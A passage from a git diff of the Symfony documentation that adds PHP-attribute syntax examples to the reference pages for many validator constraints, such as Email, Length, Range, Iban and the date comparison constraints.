+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Date]
+            protected $birthday;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index 582f93aeac8..7e5501b5515 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -35,6 +35,22 @@ Basic Usage
             protected $createdAt;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            /**
+             * @var string A "Y-m-d H:i:s" formatted value
+             */
+            #[Assert\DateTime]
+            protected $createdAt;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index 4503959aa57..d08e22c241c 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -53,6 +53,24 @@ The following constraints ensure that:
             protected $quantity;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Item.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Item
+        {
+            #[Assert\DivisibleBy(0.25)]
+            protected $weight;
+
+            #[Assert\DivisibleBy(
+                value: 5,
+            )]
+            protected $quantity;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 468051004a0..fd2f2576a90 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -37,6 +37,21 @@ Basic Usage
             protected $email;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Email(
+                message: 'The email {{ value }} is not a valid email.',
+            )]
+            protected $email;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index 153d13a3098..75d80043cda 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -52,6 +52,24 @@ and that the ``age`` is ``20``, you could do the following:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\EqualTo("Mary")]
+            protected $firstName;
+
+            #[Assert\EqualTo(
+                value: 20,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 2ed816f3a03..264ae3b02fc 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -78,6 +78,22 @@ One way to accomplish this is with the Expression constraint:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Model/BlogPost.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\Expression(
+            "this.getCategory() in ['php', 'symfony'] or !this.isTechnicalPost()",
+            message: 'If this is a tech post, the category should be either php or symfony!',
+        )]
+        class BlogPost
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -163,6 +179,26 @@ more about the expression language syntax, see
                 // ...
             }
 
+        .. code-block:: php-attributes
+
+            // src/Model/BlogPost.php
+            namespace App\Model;
+
+            use Symfony\Component\Validator\Constraints as Assert;
+
+            class BlogPost
+            {
+                // ...
+
+                #[Assert\Expression(
+                    "this.getCategory() in ['php', 'symfony'] or value == false",
+                    message: 'If this is a tech post, the category should be either php or symfony!',
+                )]
+                private $isTechnicalPost;
+
+                // ...
+            }
+
         .. code-block:: yaml
 
             # config/validator/validation.yaml
@@ -299,6 +335,24 @@ type (numeric, boolean, strings, null, etc.)
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Model/Analysis.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Analysis
+        {
+            #[Assert\Expression(
+                'value + error_margin < threshold',
+                values: ['error_margin' => 0.25, 'threshold' => 1.5],
+            )]
+            private $metric;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 2ca0355dfaf..218d68d4f69 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -52,6 +52,24 @@ The following constraints ensure that:
             protected $shippingOptions;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\ExpressionLanguageSyntax]
+            protected $promotion;
+
+            #[Assert\ExpressionLanguageSyntax(
+                allowedVariables: ['user', 'shipping_centers'],
+            )]
+            protected $shippingOptions;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index f1a27ac8f20..7bce9dce533 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -93,6 +93,23 @@ below a certain file size and a valid PDF, add the following:
             protected $bioFile;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\File(
+                maxSize: '1024k',
+                mimeTypes: ['application/pdf', 'application/x-pdf'],
+                mimeTypesMessage: 'Please upload a valid PDF',
+            )]
+            protected $bioFile;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index d27017fdbe5..617fc71f2a0 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -49,6 +49,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\GreaterThan(5)]
+            protected $siblings;
+
+            #[Assert\GreaterThan(
+                value: 18,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -126,6 +144,19 @@ that a date must at least be the next day:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThan('today')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -185,6 +216,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThan('today UTC')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -245,6 +289,19 @@ current time:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThan('+5 hours')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index 8a054e6bbb9..c09d4e250e0 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -48,6 +48,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\GreaterThanOrEqual(5)]
+            protected $siblings;
+
+            #[Assert\GreaterThanOrEqual(
+                value: 18,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -125,6 +143,19 @@ that a date must at least be the current day:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThanOrEqual('today')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -184,6 +215,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThanOrEqual('today UTC')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -244,6 +288,19 @@ current time:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThanOrEqual('+5 hours')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 9e67fb3c8fc..7b6cf07af21 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -42,6 +42,19 @@ will contain a host name.
             protected $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/ServerSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class ServerSettings
+        {
+            #[Assert\Hostname(message: 'The server name must be a valid hostname.')]
+            protected $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index 709270f7b12..dcd60e3f408 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -40,6 +40,21 @@ will contain an International Bank Account Number.
             protected $bankAccountNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\Iban(
+                message: 'This is not a valid International Bank Account Number (IBAN).',
+            )]
+            protected $bankAccountNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 10f1fb52342..7dc71b475f0 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -54,6 +54,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\IdenticalTo("Mary")]
+            protected $firstName;
+
+            #[Assert\IdenticalTo(
+                value: 20,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index e8b492bf4ae..5ffded599b5 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -100,6 +100,24 @@ that it is between a certain size, add the following:
             protected $headshot;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Image(
+                minWidth: 200,
+                maxWidth: 400,
+                minHeight: 200,
+                maxHeight: 400,
+            )]
+            protected $headshot;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -180,6 +198,22 @@ following code:
             protected $headshot;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Image(
+                allowLandscape: false,
+                allowPortrait: false,
+            )]
+            protected $headshot;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index 9d744d54c09..3686d6bfc41 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -36,6 +36,19 @@ Basic Usage
             protected $ipAddress;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Ip]
+            protected $ipAddress;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 17881aa9a75..07f25396c66 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -58,6 +58,24 @@ method returns **false**:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\IsFalse(
+                message: "You've entered an invalid state."
+            )]
+            public function isStateInvalid()
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst
index 252c23d934b..6fcd1e462ad 100644
--- a/reference/constraints/IsNull.rst
+++ b/reference/constraints/IsNull.rst
@@ -39,6 +39,19 @@ of an ``Author`` class exactly equal to ``null``, you could do the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\IsNull]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index 2698ad233e9..dea5d9c5468 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -60,6 +60,24 @@ Then you can validate this method with ``IsTrue`` as follows:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            protected $token;
+
+            #[Assert\IsTrue(message: 'The token is invalid.')]
+            public function isTokenValid()
+            {
+                return $this->token == $this->generateToken();
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index e30d4e96040..fa042eb131e 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -43,6 +43,22 @@ on an object that will contain an ISBN.
             protected $isbn;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Book.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Book
+        {
+            #[Assert\Isbn(
+                type: Assert\Isbn::ISBN_10,
+                message: 'This value is not valid.',
+            )]
+            protected $isbn;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Isin.rst b/reference/constraints/Isin.rst
index c646f33a53a..3efab915437 100644
--- a/reference/constraints/Isin.rst
+++ b/reference/constraints/Isin.rst
@@ -33,6 +33,19 @@ Basic Usage
             protected $isin;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/UnitAccount.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class UnitAccount
+        {
+            #[Assert\Isin]
+            protected $isin;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 6cc5734aaa2..8b8d0826610 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -35,6 +35,19 @@ Basic Usage
             protected $issn;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Journal.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Journal
+        {
+            #[Assert\Issn]
+            protected $issn;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index 6e8318077da..cd1abf69d6c 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -35,6 +35,21 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
             private $chapters;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Book.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Book
+        {
+            #[Assert\Json(
+                message: "You've entered an invalid Json."
+            )]
+            private $chapters;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index dac3e2819db..0d9522dc882 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -34,6 +34,19 @@ Basic Usage
             protected $preferredLanguage;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\Language]
+            protected $preferredLanguage;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 365aedfb585..13800f7daea 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -48,6 +48,25 @@ and "50", you might add the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Participant.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Participant
+        {
+            #[Assert\Length(
+                min: 2,
+                max: 50,
+                minMessage: 'Your first name must be at least {{ limit }} characters long',
+                maxMessage: 'Your first name cannot be longer than {{ limit }} characters',
+            )]
+            protected $firstName;
+        }
+
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index abd0aab721c..495d3f4356a 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -49,6 +49,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan(5)]
+            protected $siblings;
+
+            #[Assert\LessThan(
+                value: 80,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -126,6 +144,19 @@ that a date must be in the past like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan('today')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -185,6 +216,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan('today UTC')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -244,6 +288,19 @@ can check that a person must be at least 18 years old like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan('-18 years')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 42ec3e939e5..47d06cfc601 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -48,6 +48,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual(5)]
+            protected $siblings;
+
+            #[Assert\LessThanOrEqual(
+                value: 80,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -125,6 +143,19 @@ that a date must be today or in the past like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual('today')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -184,6 +215,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual('today UTC')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -243,6 +287,19 @@ can check that a person must be at least 18 years old like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThanOrEqual('-18 years')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index f5f381629e3..936cfd24089 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -43,6 +43,21 @@ Basic Usage
             protected $locale;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\Locale(
+                canonicalize: true,
+            )]
+            protected $locale;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index 2bee41d5f2c..24eb9b91947 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -37,6 +37,19 @@ will contain a credit card number.
             protected $cardNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\Luhn(message: 'Please check your credit card number.')]
+            protected $cardNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index 7468b4bfc4a..0ee0bdcf3ea 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -37,6 +37,19 @@ The following constraint ensures that the ``withdraw`` of a  bank account
             protected $withdraw;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/TransferItem.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class TransferItem
+        {
+            #[Assert\Negative]
+            protected $withdraw;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index f010acda0b1..8559a57babf 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -36,6 +36,19 @@ is a negative number or equal to zero:
             protected $level;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/TransferItem.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class UnderGroundGarage
+        {
+            #[Assert\NegativeOrZero]
+            protected $level;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index f5711e001c3..2d302f5fc20 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -40,6 +40,19 @@ class were not blank, you could do the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NotCompromisedPassword.rst b/reference/constraints/NotCompromisedPassword.rst
index bcd1c61b560..236dfbf5d9b 100644
--- a/reference/constraints/NotCompromisedPassword.rst
+++ b/reference/constraints/NotCompromisedPassword.rst
@@ -38,6 +38,19 @@ The following constraint ensures that the ``rawPassword`` property of the
             protected $rawPassword;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\NotCompromisedPassword]
+            protected $rawPassword;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index e1436657ae8..ec5fa5000b5 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -53,6 +53,24 @@ the following:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\NotEqualTo('Mary')]
+            protected $firstName;
+
+            #[Assert\NotEqualTo(
+                value: 15,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index 66ccb871670..ab96bde3806 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -54,6 +54,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\NotIdenticalTo('Mary')]
+            protected $firstName;
+
+            #[Assert\NotIdenticalTo(
+                value: 15,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst
index 56d088c4cba..ccf8839434d 100644
--- a/reference/constraints/NotNull.rst
+++ b/reference/constraints/NotNull.rst
@@ -37,6 +37,19 @@ class were not strictly equal to ``null``, you would:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotNull]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index af76f205e53..6e5d80c9250 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -37,6 +37,19 @@ positive number (greater than zero):
             protected $income;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Employee.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Employee
+        {
+            #[Assert\Positive]
+            protected $income;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index ea762e78f90..08435c2054f 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -36,6 +36,19 @@ is positive or zero:
             protected $siblings;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\PositiveOrZero]
+            protected $siblings;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index d5b473362dd..c499187ee66 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -47,6 +47,23 @@ you might add the following:
             protected $height;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Participant.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Participant
+        {
+            #[Assert\Range(
+                min: 120,
+                max: 180,
+                notInRangeMessage: 'You must be between {{ min }}cm and {{ max }}cm tall to enter',
+            )]
+            protected $height;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -125,6 +142,22 @@ date must lie within the current year like this:
             protected $startDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Event.php
+        namespace App\Entity;
+
